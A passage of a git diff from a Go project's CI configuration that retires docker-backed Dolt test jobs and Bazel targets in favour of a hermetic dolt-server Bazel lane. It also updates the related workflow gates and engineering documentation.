the package gates build # their own bd and no longer consume this artifact; it is kept for the # F3.5.3 SHA256SUMS comparison and for debugging. The script documents # which binary and how it differs from `go build`'s. @@ -1379,14 +1373,12 @@ jobs: JOB_STATUS: ${{ job.status }} run: echo "result=$JOB_STATUS" >> "$GITHUB_OUTPUT" - # pr.yml's container-backed jobs, "Test (storage domain + uow)" and - # "Contract corpus", as Bazel's dolt-server lane: --config=doltserver runs - # the dolt-server variants (domain/..., uow in 8 shards, tracker/..., - # doctor/fix, protocol in 8 shards), each of which starts its own dolt - # sql-server from the pinned dolt, so they execute on the remote workers - # like any other test (locally for forks and rbe=off). The docker lane - # (--config=docker: the same suites against testcontainers on this runner, - # no-remote-exec) stays the A/B control: dispatch with dolt-lane=docker. + # pr.yml's retired container-backed jobs, "Test (storage domain + uow)" + # and "Contract corpus", as Bazel's dolt-server lane: --config=doltserver + # runs the dolt-server variants (domain/..., uow in 8 shards, tracker/..., + # doctor/fix, protocol in 8 shards, testutil), each of which starts its + # own dolt sql-server from the pinned dolt, so they execute on the remote + # workers like any other test (locally with rbe=off). bazel-doltserver: name: dolt-server lane # Same runner and skip rule as bazel-test. @@ -1397,13 +1389,11 @@ jobs: outputs: result: ${{ steps.result.outputs.result }} env: - BAZEL_DOLT_LANE: ${{ inputs.dolt-lane || 'doltserver' }} - # D2 step 3: on covered PRs and merge groups (always mode remote) this - # lane is the only pre-merge run of pr.yml's legacy domain+uow and - # contract corpus jobs, which never retried: --config=sole-run then - # fails on a remote cache eviction instead of re-running the whole - # invocation (whose retry could turn a failed test green). Fork modes do - # the same (with BAZEL_COVERS_FORKS "true" it is their only run too). + # This lane is the only pre-merge run of these suites (the go test + # jobs it replaced never retried): where it executes remotely + # --config=sole-run fails on a remote cache eviction instead of + # re-running the whole invocation (whose retry could turn a failed + # test green). # Test results are cached and reused like every lane's; only nightly # re-executes them all (BAZEL_FRESH). BAZEL_SOLE_RUN: ${{ needs.rbe.outputs.enabled == 'true' && '--config=sole-run' || '' }} @@ -1431,12 +1421,6 @@ jobs: RBE_FORK_TIER: ${{ needs.rbe.outputs.tier }} RBE_FORK_PR: ${{ github.event.pull_request.number }} - # Docker lane only (the A/B control), as in the mirrored jobs; its - # tests fail rather than skip without the image. - - name: Pull Dolt sql-server image - if: ${{ env.BAZEL_DOLT_LANE == 'docker' }} - run: ./scripts/ci/pull-dolt-image.sh - - name: bazel test //... --config=doltserver id: test timeout-minutes: 80 @@ -1444,8 +1428,8 @@ jobs: set -o pipefail start=$(date +%s) rc=0 - bazel test //... "--config=$BAZEL_DOLT_LANE" ${BAZEL_SOLE_RUN:+"$BAZEL_SOLE_RUN"} ${BAZEL_FRESH:+"$BAZEL_FRESH"} 2>&1 | tee "$RUNNER_TEMP/bazel-test.log" || rc=$? - echo "bazel test --config=$BAZEL_DOLT_LANE: exit $rc, $(( $(date +%s) - start ))s wall" | tee -a "$GITHUB_STEP_SUMMARY" + bazel test //... --config=doltserver ${BAZEL_SOLE_RUN:+"$BAZEL_SOLE_RUN"} ${BAZEL_FRESH:+"$BAZEL_FRESH"} 2>&1 | tee "$RUNNER_TEMP/bazel-test.log" || rc=$? + echo "bazel test --config=doltserver: exit $rc, $(( $(date +%s) - start ))s wall" | tee -a "$GITHUB_STEP_SUMMARY" exit "$rc" - name: Upload test logs @@ -1453,7 +1437,7 @@ jobs: uses: actions/upload-artifact@043fb46d1a93c77aae656e7c1c64a875d1fc6a0a # v7 with: overwrite: true # a job re-run is the same run: replace, not 409 - name: bazel-${{ env.BAZEL_DOLT_LANE }}-testlogs + name: bazel-doltserver-testlogs path: | bazel-testlogs/**/test.log bazel-testlogs/**/test.xml diff --git a/.github/workflows/pr.yml b/.github/workflows/pr.yml index 6fe5e1b8d..72eb4637b 100644 --- a/.github/workflows/pr.yml +++ b/.github/workflows/pr.yml @@ -36,10 +36,11 @@ env: # `proxied-server tier` and `server-Dolt storage tier`). BAZEL_RETIRES_LEGACY_DOLT_SERVER_TIERS: "true" # Step 3: pr.yml's own legacy jobs whose Bazel lanes run in the same pr.yml - # run: PR Core, build-artifacts, the pure-Go/js-wasm check, domain+uow and - # contract corpus (Bazel `test`, `pure-Go and js/wasm`, `dolt-server - # lane`). pr-risk.yml retires nothing for it; its copy only keeps the - # shared bazel-coverage job identical. + # run: PR Core, build-artifacts and the pure-Go/js-wasm check (Bazel + # `test`, `pure-Go and js/wasm`); the `dolt-server lane`, the only run of + # the Dolt-backed domain, uow, tracker, doctor/fix and protocol suites, is + # held to the same rule. pr-risk.yml retires nothing for it; its copy only + # keeps the shared bazel-coverage job identical. BAZEL_RETIRES_LEGACY_PR_LANES: "true" # F4 side-by-side rollout: "false" keeps the native windows-latest jobs # (test-windows-liveness, worktree-remove-windows) as the required pair and @@ -1374,100 +1375,6 @@ jobs: retention-days: 7 if-no-files-found: error - # Focused job for the hexagonal storage layer (internal/storage/domain/* and - # internal/storage/uow). These packages back the proxied-server init path and - # also live behind the existing ./... matrix, but TestDomainDB requires the - # Dolt sql-server image cached locally (testcontainers checks `docker image - # inspect` and skips otherwise). Pulling the image up front guarantees the - # suite actually runs and surfaces failures here with a clear job name. - # - # D2 step 3: stands down where bazel-coverage says pr_lanes; Bazel's - # `dolt-server lane` runs the same packages against a local dolt - # sql-server, and //internal/testutil:testutil_dolt_test checks that - # server against the checked-in fingerprint. Where this job runs, its - # first test step checks the container it uses against the same - # fingerprint, so the two backends cannot drift apart unnoticed. - test-domain-uow: - name: Test (storage domain + uow) - runs-on: ubuntu-latest - needs: [build-artifacts, bazel-coverage] - if: needs.bazel-coverage.outputs.pr_lanes != 'true' - # The race-enabled storage package has outgrown Go's implicit 10-minute - # timeout. Keep both per-package deadlines inside one finite job budget. - timeout-minutes: 35 - steps: - - uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v6 - - - name: Set up Go - uses: actions/setup-go@b7ad1dad31e06c5925ef5d2fc7ad053ef454303e # v7.0.0 - with: - go-version-file: 'go.mod' - cache: false - - - name: Install Dolt CLI - run: ./scripts/ci/install-dolt.sh - - - name: Verify dolt on PATH - run: dolt version - - - name: Configure Git and Dolt identity - run: | - git config --global user.name "CI Bot" - git config --global user.email "ci@beads.test" - dolt config --global --add user.name "CI Bot" - dolt config --global --add user.email "ci@beads.test" - - - name: Pull Dolt sql-server image - # Keep tag in sync with internal/testutil/testdoltcommon.go:DoltDockerImage. - # Without this, RequireDoltContainer reports doltNoImage and TestDomainDB skips. - run: ./scripts/ci/pull-dolt-image.sh - - - name: Download build artifacts - uses: actions/download-artifact@3e5f45b2cfb9172054b4087a40e8e0b5a5461e7c # v8 - with: - name: ci-build-artifacts - path: ci-build-artifacts - - - name: Verify build artifacts - run: | - set -euo pipefail - cd ci-build-artifacts - sha256sum -c SHA256SUMS - chmod +x bd-linux-gms-pure - - # The container this job's tests use, and the local server (the - # pinned dolt CLI installed above), against the checked-in - # fingerprint. REQUIRE makes the container half fail, not skip. - - name: Test Dolt server fingerprint (container + local) - env: - BEADS_TEST_REQUIRE_DOLT_CONTAINER: "1" - run: go test -tags gms_pure_go -count=1 -timeout 5m -v -run '^TestDoltServerFingerprint$' ./internal/testutil/ - - - name: Test domain + uow + tracker - env: - BEADS_TEST_BD_BINARY: ${{ github.workspace }}/ci-build-artifacts/bd-linux-gms-pure - # internal/storage/domain, internal/storage/uow, and internal/tracker - # run as concurrent package test binaries in this one invocation. - # testcontainers-go shares one Ryuk reaper per host; a failed - # handshake in one process can reap a sibling's live Dolt container - # mid-suite (be-2on). The runner is destroyed after the job, so the - # reaper buys nothing here and only costs this race. - TESTCONTAINERS_RYUK_DISABLED: "true" - run: go test -tags gms_pure_go -race -count=1 -timeout 15m -v ./internal/storage/domain/... ./internal/storage/uow/... ./internal/tracker/... - - # The doctor/fix DB-backed suite spins its own Dolt container in - # TestMain. BEADS_FIX_REQUIRE_DOLT=1 turns a missing container into a - # hard failure so the suite can never silently skip in CI again - # (bd-nxt5e: it was dark for months); this job pulls the image above. - - name: Test doctor/fix (Dolt-backed, hard-require container) - env: - BEADS_TEST_BD_BINARY: ${{ github.workspace }}/ci-build-artifacts/bd-linux-gms-pure - BEADS_FIX_REQUIRE_DOLT: "1" - # Pinned for consistency with the step above: this single-package - # step has no sibling test binary to race for the reaper (be-2on). - TESTCONTAINERS_RYUK_DISABLED: "true" - run: go test -tags gms_pure_go -race -count=1 -timeout 10m -v ./cmd/bd/doctor/fix/ - # `test-macos` / "Test (macos-latest)" used to run here and is deliberately # removed (F4, PR CI -> 5 min). It was a non-required, PR-side mirror of # main.yml's `test` job's macOS leg (full `go test -race -short ./...`), @@ -1488,66 +1395,6 @@ jobs: # they are not a substitute. If this tradeoff turns out to be wrong, # reinstate a PR-side mirror rather than relying on main.yml alone. - # Producer-side guard for the Beads<->consumer CLI contract. Runs the whole - # cmd/bd/protocol package: the golden corpus (regenerated from this branch's - # bd and byte-compared to the committed testdata/corpus/, so an unreviewed - # wire change is a hard failure — run `make corpus-regen`), the double-run - # determinism check, and the TestProtocol_/TestJSONContract_ behavioral - # conformance suite that pins the CLI's JSON payloads and semantics. - # - # Run the PACKAGE, never a -run subset: a filter here is what let the - # conformance tests sit red on main for ~3 months while every CI run was - # green (they matched no job's -run, and every broad ./... job skips them - # for want of a Dolt store). Package scope means a newly added protocol test - # is gated the moment it lands. - # - # Needs the Dolt sql-server image (the protocol harness spins a container). - # ~10 min: each test builds an isolated Dolt-backed workspace. If that ever - # becomes unacceptable on PRs, shard this job by an exhaustive `go test - # -list` partition — do not reintroduce a hand-written -run regex. - # - # D2 step 3: stands down where bazel-coverage says pr_lanes; Bazel's - # `dolt-server lane` runs the package (//cmd/bd/protocol:protocol_dolt_test). - contract-corpus: - name: Contract corpus (golden + determinism + conformance) - runs-on: ubuntu-latest - needs: bazel-coverage - if: needs.bazel-coverage.outputs.pr_lanes != 'true' - steps: - - uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v6 - - - name: Set up Go - uses: actions/setup-go@b7ad1dad31e06c5925ef5d2fc7ad053ef454303e # v7.0.0 - with: - go-version-file: 'go.mod' - cache: false - - - name: Install Dolt CLI - run: ./scripts/ci/install-dolt.sh - - - name: Configure Git and Dolt identity - run: | - git config --global user.name "CI Bot" - git config --global user.email "ci@beads.test" - dolt config --global --add user.name "CI Bot" - dolt config --global --add user.email "ci@beads.test" - - - name: Pull Dolt sql-server image - # Keep tag in sync with internal/testutil/testdoltcommon.go:DoltDockerImage. - run: ./scripts/ci/pull-dolt-image.sh - - - name: Protocol conformance + corpus golden + determinism - # Require a live Dolt store here: this is the gate that must exercise the - # conformance, golden and double-run checks, so a failed container is a - # hard failure, not a silent skip (see requireDoltStore in the - # cmd/bd/protocol tests). - # - # -timeout is explicit because the package runs well past `go test`'s - # 10m default; without it a slow runner reports a panic, not a verdict. - env: - BEADS_PROTOCOL_REQUIRE_DOLT: "1" - run: go test -tags gms_pure_go -count=1 -timeout 30m ./cmd/bd/protocol - # F7a: fold of a 3-host matrix (native, msys2, cygwin) into one sequential # job on a single windows-latest runner. Review SF-1 (2026-10-03): only the # Cygwin *setup* step keeps `continue-on-error: true` (a flaky installer @@ -2085,16 +1932,15 @@ jobs: } # The Bazel lane (bazel.yml), gated alongside the legacy jobs it mirrors - # (PR Core, build-artifacts, the pure-Go/js-wasm check, domain+uow and - # contract corpus, and pr-risk.yml's embedded-Dolt, proxied-server and + # (PR Core, build-artifacts, the pure-Go/js-wasm check, and + # pr-risk.yml's embedded-Dolt, proxied-server and # server-Dolt storage tiers), all of which stay required ids, but stand # down on same-repo PRs with a non-Dependabot actor, and on merge groups, # while their D2 flag is "true" (bazel-coverage): pr-risk.yml's embedded-Dolt test jobs # (BAZEL_RETIRES_LEGACY_EMBEDDED, step 1), its proxied-server and # server-Dolt storage test jobs (BAZEL_RETIRES_LEGACY_DOLT_SERVER_TIERS, - # step 2), and this workflow's PR Core, build-artifacts, pure-Go/js-wasm, - # domain+uow and contract corpus jobs (BAZEL_RETIRES_LEGACY_PR_LANES, - # step 3). ci-gate then requires this call's lanes for them (embedded; + # step 2), and this workflow's PR Core, build-artifacts and pure-Go/js-wasm + # jobs (BAZEL_RETIRES_LEGACY_PR_LANES, step 3). ci-gate then requires this call's lanes for them (embedded; # proxied and server-storage; test, pure and doltserver) to have run # remotely and passed. bazel.yml has no pull_request/merge_group trigger # of its own: this call is its only PR run. It gets the four RBE secrets @@ -2135,9 +1981,9 @@ jobs: # D2: pr-risk.yml's bazel-coverage job, verbatim (policy-tested # identical). Where it says a tier is covered, PR Risk skips that tier's # legacy test jobs (embedded, dolt_server), or this workflow skips its own - # (pr_lanes: build-artifacts, PR Core, the pure-Go/js-wasm check, - # domain+uow and contract corpus), so ci-gate requires the tier's Bazel - # lanes to have run remotely and passed in this run. + # (pr_lanes: build-artifacts, PR Core, the pure-Go/js-wasm check), so + # ci-gate requires the tier's Bazel lanes to have run remotely and passed + # in this run. bazel-coverage: name: Bazel tier coverage # F3: same-repo PRs and merge_group get the org's Blacksmith pool; forks, @@ -2245,8 +2091,6 @@ jobs: - pr-core-wrapper - scripts-go-checks - pr-lint-wrapper - - test-domain-uow - - contract-corpus - windows-make-shell - bazel - bazel-coverage @@ -2271,8 +2115,6 @@ jobs: PR_CORE_WRAPPER SCRIPTS_GO_CHECKS PR_LINT_WRAPPER - TEST_DOMAIN_UOW - CONTRACT_CORPUS WINDOWS_MAKE_SHELL BAZEL BAZEL_TEST @@ -2322,8 +2164,6 @@ jobs: PR_CORE_WRAPPER: ${{ needs.pr-core-wrapper.result }} SCRIPTS_GO_CHECKS: ${{ needs.scripts-go-checks.result }} PR_LINT_WRAPPER: ${{ needs.pr-lint-wrapper.result }} - TEST_DOMAIN_UOW: ${{ needs.test-domain-uow.result }} - CONTRACT_CORPUS: ${{ needs.contract-corpus.result }} WINDOWS_MAKE_SHELL: ${{ needs.windows-make-shell.result }} # bazel.yml's lanes report their job.status as outputs; a lane that # did not report (skipped, or lost before its last step) reads as @@ -2387,7 +2227,7 @@ jobs: # bazel-coverage says pr_lanes (exactly "true"); their Bazel lanes # are then required below. if [[ "$BAZEL_COVERS_PR_LANES" == "true" ]]; then - skipped_ok="$skipped_ok BUILD_ARTIFACTS CHECK_CMD_BD_PUREGEO_TESTS PR_CORE_WRAPPER TEST_DOMAIN_UOW CONTRACT_CORPUS" + skipped_ok="$skipped_ok BUILD_ARTIFACTS CHECK_CMD_BD_PUREGEO_TESTS PR_CORE_WRAPPER" fi # Where a legacy tier is retired (by PR Risk or by this # workflow), this run's Bazel lanes for it are the tier's only @@ -2415,6 +2255,6 @@ jobs: } retired BAZEL_EMBEDDED_RETIRED BAZEL_RETIRES_LEGACY_EMBEDDED "$BAZEL_COVERS_EMBEDDED" "PR Risk embedded Dolt tier" BAZEL_EMBEDDED retired BAZEL_DOLT_SERVER_RETIRED BAZEL_RETIRES_LEGACY_DOLT_SERVER_TIERS "$BAZEL_COVERS_DOLT_SERVER" "PR Risk proxied-server and server-Dolt storage tiers" BAZEL_PROXIED BAZEL_SERVER_STORAGE - retired BAZEL_PR_LANES_RETIRED BAZEL_RETIRES_LEGACY_PR_LANES "$BAZEL_COVERS_PR_LANES" "PR Core, build-artifacts, pure-Go/js-wasm, domain+uow and contract corpus jobs" BAZEL_TEST BAZEL_PURE BAZEL_DOLTSERVER + retired BAZEL_PR_LANES_RETIRED BAZEL_RETIRES_LEGACY_PR_LANES "$BAZEL_COVERS_PR_LANES" "PR Core, build-artifacts and pure-Go/js-wasm jobs (and the dolt-server lane)" BAZEL_TEST BAZEL_PURE BAZEL_DOLTSERVER export CI_GATE_SKIPPED_OK="$skipped_ok" bash .github/scripts/ci-gate.sh diff --git a/cmd/bd/doctor/fix/BUILD.bazel b/cmd/bd/doctor/fix/BUILD.bazel index adc25eb0a..af5e6d02b 100644 --- a/cmd/bd/doctor/fix/BUILD.bazel +++ b/cmd/bd/doctor/fix/BUILD.bazel @@ -97,41 +97,12 @@ go_test( ], ) -# The Dolt-backed half of fix_test, as pr.yml's "Test doctor/fix (Dolt-backed, -# hard-require container)" job runs it: TestMain starts a dolt sql-server -# container through testcontainers, and BEADS_FIX_REQUIRE_DOLT=1 turns a -# missing container into a failure instead of a silent skip. fix_test itself -# stays untagged: under --config=prcore (BEADS_TEST_SKIP=dolt, like pr-core's -# `go test`) it never touches docker and runs anywhere. -# -# Tags: -# requires-docker: needs a docker daemon; excluded from --config=prcore/ci, -# selected by --config=docker. -# no-remote-exec: the daemon is on the host, not on remote workers. -sh_test( - name = "fix_docker_test", - size = "large", - srcs = ["//tools/bazel:go_test_variant.sh"], - args = ["$(rootpath :fix_test)"], - data = [":fix_test"], - # Pinned to the container backend (the docker lane is the A/B control); - # rule env beats --test_env, so =local on the command line cannot flip it. - env = { - "BEADS_FIX_REQUIRE_DOLT": "1", - "BEADS_TEST_DOLT_SERVER": "container", - }, - tags = [ - "no-remote-exec", - "requires-docker", - ], -) - -# The Dolt-backed half of fix_test, as pr.yml's "Test doctor/fix (Dolt-backed, -# hard-require container)" step runs it, on the dolt-server lane: TestMain's -# server is a local `dolt sql-server` child of the test process, and -# BEADS_FIX_REQUIRE_DOLT=1 keeps the suite from skipping when it cannot start. -# fix_docker_test is the A/B control. 4 shards: unsharded it was the lane's -# critical path (~4 min remotely). +# The Dolt-backed half of fix_test, as the retired "Test doctor/fix +# (Dolt-backed, hard-require container)" step ran it, on the dolt-server +# lane: TestMain's server is a local `dolt sql-server` child of the test +# process, and BEADS_FIX_REQUIRE_DOLT=1 keeps the suite from skipping when it +# cannot start. +# 4 shards: unsharded it was the lane's critical path (~4 min remotely). # # Tags: # dolt-server: starts hermetic dolt sql-servers from the pinned dolt in the diff --git a/cmd/bd/protocol/BUILD.bazel b/cmd/bd/protocol/BUILD.bazel index fe4310f4c..04a4c35b6 100644 --- a/cmd/bd/protocol/BUILD.bazel +++ b/cmd/bd/protocol/BUILD.bazel @@ -53,67 +53,32 @@ go_test( ], ) -# protocol_test without the race detector, which --config=docker otherwise -# turns on for every target: pr.yml's "Contract corpus" job runs +# protocol_test without the race detector, which --config=doltserver +# otherwise turns on for every target: the contract corpus has always run # `go test ./cmd/bd/protocol` without -race (PR Core covers the race build). # Matching it is cheap: tools/bazel/race.bzl lands protocol_test's deps in # the configuration the non-race //cmd/bd:bd_for_tests already builds them in, # so the extra work is protocol_test's test-only libraries and one link. # Racing it instead would also be acceptable (a race-only failure is a real -# bug); then drop this target and point protocol_docker_test back at +# bug); then drop this target and point protocol_dolt_test back at # :protocol_test. # # Tags: -# manual: only protocol_docker_test's input, never a build target of its +# manual: only protocol_dolt_test's input, never a build target of its # own. `bazel test //...` in every lane still builds it through -# protocol_docker_test (a test tag filter does not stop the build). +# protocol_dolt_test (a test tag filter does not stop the build). go_test_race_off( name = "protocol_race_off", tags = ["manual"], test = ":protocol_test", ) -# protocol_test as pr.yml's "Contract corpus" job runs it: non-race, TestMain -# starts a dolt sql-server container and BEADS_PROTOCOL_REQUIRE_DOLT=1 turns a -# missing container into a failure instead of a skip. It repeats -# protocol_test's `env` (go_test_variant.sh cannot inherit it). protocol_test -# itself stays untagged: under --config=prcore (BEADS_TEST_SKIP=dolt) its -# Dolt-backed tests skip. -# -# Tags: -# requires-docker: needs a docker daemon; excluded from --config=prcore/ci, -# selected by --config=docker. -# no-remote-exec: the daemon is on the host, not on remote workers. -sh_test( - name = "protocol_docker_test", - size = "large", - srcs = ["//tools/bazel:go_test_variant.sh"], - args = ["$(rootpath :protocol_race_off)"], - data = [ - ":protocol_race_off", - "//cmd/bd:bd_for_tests", - ], - # Pinned to the container backend (the docker lane is the A/B control); - # rule env beats --test_env, so =local on the command line cannot flip it. - env = { - "BEADS_PROTOCOL_REQUIRE_DOLT": "1", - "BEADS_TEST_BD_BINARY": "$(rlocationpath //cmd/bd:bd_for_tests)", - "BEADS_TEST_DOLT_SERVER": "container", - }, - # ~10 min unsharded without -race in pr.yml. - shard_count = 8, - tags = [ - "no-remote-exec", - "requires-docker", - ], -) - -# protocol_test as pr.yml's "Contract corpus" job runs it (non-race, like the -# job; see protocol_race_off), on the dolt-server lane: TestMain's server is a +# protocol_test as the retired "Contract corpus" job ran it (non-race, like +# the job; see protocol_race_off), on the dolt-server lane: TestMain's server is a # local `dolt sql-server` child of the test process, and # BEADS_PROTOCOL_REQUIRE_DOLT=1 turns a server that cannot start into a # failure, so the golden and double-run determinism tests cannot skip. It -# repeats protocol_test's `env`. protocol_docker_test is the A/B control. +# repeats protocol_test's `env`. # # Tags: # dolt-server: starts hermetic dolt sql-servers from the pinned dolt in the diff --git a/engdocs/CI_REQUIRED_CHECK_TOPOLOGY.md b/engdocs/CI_REQUIRED_CHECK_TOPOLOGY.md index d879d6c8e..d78878efc 100644 --- a/engdocs/CI_REQUIRED_CHECK_TOPOLOGY.md +++ b/engdocs/CI_REQUIRED_CHECK_TOPOLOGY.md @@ -645,9 +645,7 @@ Do not require these existing check names directly: the former `test-windows-doltversion` and `test-windows-dbproxy-server`) - `Test (ubuntu-latest)` - `Test (macos-latest)` -- `Test (storage domain + uow)` - `Go checks (vet)` -- `Contract corpus (golden + determinism + conformance)` - `PR Core (wrapper timing)` - `Build Artifacts` - `Bazel tier coverage` @@ -790,9 +788,9 @@ intentionally absent for that event or risk tier: `TEST_SERVER_STORAGE_FULL` when it reported `dolt_server=true`; and `BUILD_EMBEDDED` when it reported both. `BAZEL_COVERAGE` (that job's result) must be `success`. -- In the baseline aggregate, `BUILD_ARTIFACTS`, `PR_CORE_WRAPPER`, - `CHECK_CMD_BD_PUREGEO_TESTS`, `TEST_DOMAIN_UOW` and `CONTRACT_CORPUS` may - be `skipped` when `bazel-coverage` reported `pr_lanes=true`. +- In the baseline aggregate, `BUILD_ARTIFACTS`, `PR_CORE_WRAPPER` and + `CHECK_CMD_BD_PUREGEO_TESTS` may be `skipped` when `bazel-coverage` + reported `pr_lanes=true`. - In the baseline aggregate, `BAZEL_COVERAGE` must be `success`; `BAZEL_EMBEDDED_RETIRED` is red when `embedded=true` but the Bazel embedded lane did not run remotely and pass, `BAZEL_DOLT_SERVER_RETIRED` when @@ -870,7 +868,7 @@ D2 retires legacy test jobs on same-repo PRs, one step at a time, where | --- | --- | --- | --- | --- | | 1 | `test-embedded-storage` x5, `test-embedded-conformance` x2, `test-embedded-cmd` x20 | `bazel-embedded` (`--config=embedded`) | `BAZEL_RETIRES_LEGACY_EMBEDDED` | `BAZEL_EMBEDDED_RETIRED` | | 2 | `test-proxied-cmd` x15, `test-server-storage`, `test-server-storage-full` x16 | `bazel-proxied` (`--config=doltserver-proxied`), `bazel-server-storage` (`--config=doltserver-integration`) | `BAZEL_RETIRES_LEGACY_DOLT_SERVER_TIERS` | `BAZEL_DOLT_SERVER_RETIRED` | -| 3 | `pr.yml`: `pr-core-wrapper` (PR Core), `build-artifacts`, `check-cmd-bd-puregeo-tests` (pure-Go and js/wasm), `test-domain-uow`, `contract-corpus` | `bazel-test` (`--config=ci`, which also publishes `bazel-ci-build-artifacts`), `bazel-pure` (`--config=pure`, `--config=js-wasm`), `bazel-doltserver` (`--config=doltserver`) | `BAZEL_RETIRES_LEGACY_PR_LANES` | `BAZEL_PR_LANES_RETIRED` | +| 3 | `pr.yml`: `pr-core-wrapper` (PR Core), `build-artifacts`, `check-cmd-bd-puregeo-tests` (pure-Go and js/wasm) | `bazel-test` (`--config=ci`, which also publishes `bazel-ci-build-artifacts`), `bazel-pure` (`--config=pure`, `--config=js-wasm`), `bazel-doltserver` (`--config=doltserver`; the only run of the former `test-domain-uow` and `contract-corpus` suites) | `BAZEL_RETIRES_LEGACY_PR_LANES` | `BAZEL_PR_LANES_RETIRED` | @@ -882,16 +880,15 @@ manifests. On those PRs they are the tiers' only pre-merge run, and - Step 3 specifics (`pr.yml`'s own jobs, so the legacy jobs and their Bazel lanes run in the same `pr.yml` run): - - The five jobs add `needs: bazel-coverage` and + - The three jobs add `needs: bazel-coverage` and `if: needs.bazel-coverage.outputs.pr_lanes != 'true'`; `pr.yml`'s gate accepts their skips only when `pr_lanes` is exactly `true`, and then requires `BAZEL_TEST`, `BAZEL_PURE` and `BAZEL_DOLTSERVER` to have run remotely and passed (`BAZEL_PR_LANES_RETIRED`). `pr-risk.yml` commits the flag too, only so the shared `bazel-coverage` job stays identical; nothing in PR Risk reads `pr_lanes`. - - Artifact consumers: `build-artifacts`' `ci-build-artifacts` fed PR Core, - domain+uow and (before F3) the package gates; all three now stand down - with it. No other job in any workflow reads `pr.yml`'s artifacts + - Artifact consumers: `build-artifacts`' `ci-build-artifacts` feeds PR + Core, which stands down with it. No other job in any workflow reads `pr.yml`'s artifacts (`docs-autofix.yml` reads `check-doc-flags`' `cli-docs-freshness-patch`, which is unaffected). - F3: the package gates (`package-mcp`, `package-npm`) moved into @@ -914,15 +911,14 @@ manifests. On those PRs they are the tiers' only pre-merge run, and timing measured there), `ubuntu-latest` otherwise. `bazel-test`'s own `bazel-ci-build-artifacts` upload is no longer consumed by anything; it is kept for the F3.5.3 SHA256SUMS comparison and for debugging. - - The Dolt server fingerprint is checked per backend, where that backend - runs. The local server (the pinned dolt CLI every Bazel dolt-server lane - starts) is checked by `//internal/testutil:testutil_dolt_test` on the - dolt-server lane. The container is checked by `test-domain-uow`'s first - test step, which runs only where the container-backed jobs run (not - covered by `pr_lanes`). The every-PR job `test-dolt-server-fingerprint` - (`Test (Dolt server fingerprint)`, `TEST_DOLT_SERVER_FINGERPRINT`) - pulled a docker image the workers do not have, so it is retired; the - image tag stays pinned to the dolt release by + - The Dolt-backed domain, uow, tracker, doctor/fix and protocol suites + run only on the dolt-server lane, against hermetic `dolt sql-server`s + started from the pinned dolt; no CI job runs them against the + testcontainers backend (no `requires-docker` targets, no + `--config=docker`). The Dolt server fingerprint is checked in CI on that + local backend by `//internal/testutil:testutil_dolt_test`; its container + half runs under plain `go test` wherever docker and the image are + present, and the image tag stays pinned to the dolt release by `TestPinnedDoltCLIMatchesContainerImage`. The release-target cross-compilation (formerly pr.yml's `check-release-target-cross-compilation`, `go build ./...` with @@ -1099,8 +1095,8 @@ manifests. On those PRs they are the tiers' only pre-merge run, and legacy `-test.count=1` jobs). Since merge queue readiness these lanes cache results like every other lane, and nightly's `--config=fresh` re-executes every test once a day (see [Merge Queue](#merge-queue), - "Test result caching"). Only `test:docker` and `test:fresh` set result - caching in `.bazelrc`. + "Test result caching"). Only `test:fresh` sets result caching in + `.bazelrc`. - No retries: no `--flaky_test_attempts` or `--runs_per_test_detects_flakes` anywhere, and no `flaky =` other than a literal `False`. Each lane also runs @@ -1509,9 +1505,7 @@ retired tiers' configs and `sole-run`, parity with the legacy results, so nothing could ever be reused. Why caching is safe: - A cached PASS is valid for identical inputs: these targets are hermetic - (dolt and every input are runfiles). The docker-backed lane, whose - result depends on host state outside the key, keeps - `--nocache_test_results` and is dispatch-only. + (dolt and every input are runfiles). - A cached failure is never reused: Bazel treats a failed cached action as a miss, so whatever failed before runs again. - Poisoning is bounded: only rbe-west's workers write the action cache diff --git a/engdocs/TESTING.md b/engdocs/TESTING.md index c4970caef..bffa77fc5 100644 --- a/engdocs/TESTING.md +++ b/engdocs/TESTING.md @@ -103,10 +103,10 @@ same for the proxied subtests that bridge an external endpoint with `socat` sets it, and the legacy GitHub proxied jobs, which have no `socat`, do not. Under Bazel, `bazel test //... --config=doltserver` runs the Dolt-backed -suites of pr.yml's "Test (storage domain + uow)" and "Contract corpus" jobs -on the `local` backend (the `dolt-server` targets); they need no docker and -execute remotely with `--config=remote-exec`. `--config=docker` runs the same -suites on the `container` backend (host docker) as the A/B control. +domain, uow, tracker, doctor/fix, protocol and testutil suites on the `local` +backend (the `dolt-server` targets); they need no docker and execute +remotely with `--config=remote-exec`. No Bazel target uses the `container` +backend; run `go test` with docker and the pulled image to exercise it. PR Risk's heavier server tiers have configs of their own, run by bazel.yml only with remote execution, each in a job of its own (`bazel-proxied`, `bazel-server-storage`): `--config=doltserver-proxied` is the diff --git a/internal/storage/domain/db/BUILD.bazel b/internal/storage/domain/db/BUILD.bazel index 7498f62cf..823ed995a 100644 --- a/internal/storage/domain/db/BUILD.bazel +++ b/internal/storage/domain/db/BUILD.bazel @@ -126,40 +126,11 @@ go_test( ], ) -# The Dolt-backed db suite (TestDomainDB) as pr.yml's "Test (storage domain + -# uow)" job runs it: the suite starts a dolt sql-server container through -# testcontainers, and BEADS_TEST_REQUIRE_DOLT_CONTAINER=1 turns a missing -# container into a failure instead of a silent skip. db_test itself stays -# untagged: under --config=prcore (BEADS_TEST_SKIP=dolt) the suite skips, as in -# pr-core's `go test`. -# -# Tags: -# requires-docker: needs a docker daemon; excluded from --config=prcore/ci, -# selected by --config=docker. -# no-remote-exec: the daemon is on the host, not on remote workers. -sh_test( - name = "db_docker_test", - size = "large", - srcs = ["//tools/bazel:go_test_variant.sh"], - args = ["$(rootpath :db_test)"], - data = [":db_test"], - # Pinned to the container backend (the docker lane is the A/B control); - # rule env beats --test_env, so =local on the command line cannot flip it. - env = { - "BEADS_TEST_DOLT_SERVER": "container", - "BEADS_TEST_REQUIRE_DOLT_CONTAINER": "1", - }, - tags = [ - "no-remote-exec", - "requires-docker", - ], -) - -# db_test as pr.yml's "Test (storage domain + uow)" job runs it, on the +# db_test as the retired "Test (storage domain + uow)" job ran it, on the # dolt-server lane: TestDomainDB's server is a `dolt sql-server` the test # process starts itself (the local backend of internal/testutil) instead of a # testcontainers container. GOMAXPROCS=4 is the job's runner shape (the -# executor may have far more cores). db_docker_test is the A/B control. +# executor may have far more cores). # # Tags: # dolt-server: starts hermetic dolt sql-servers from the pinned dolt in the diff --git a/internal/storage/uow/BUILD.bazel 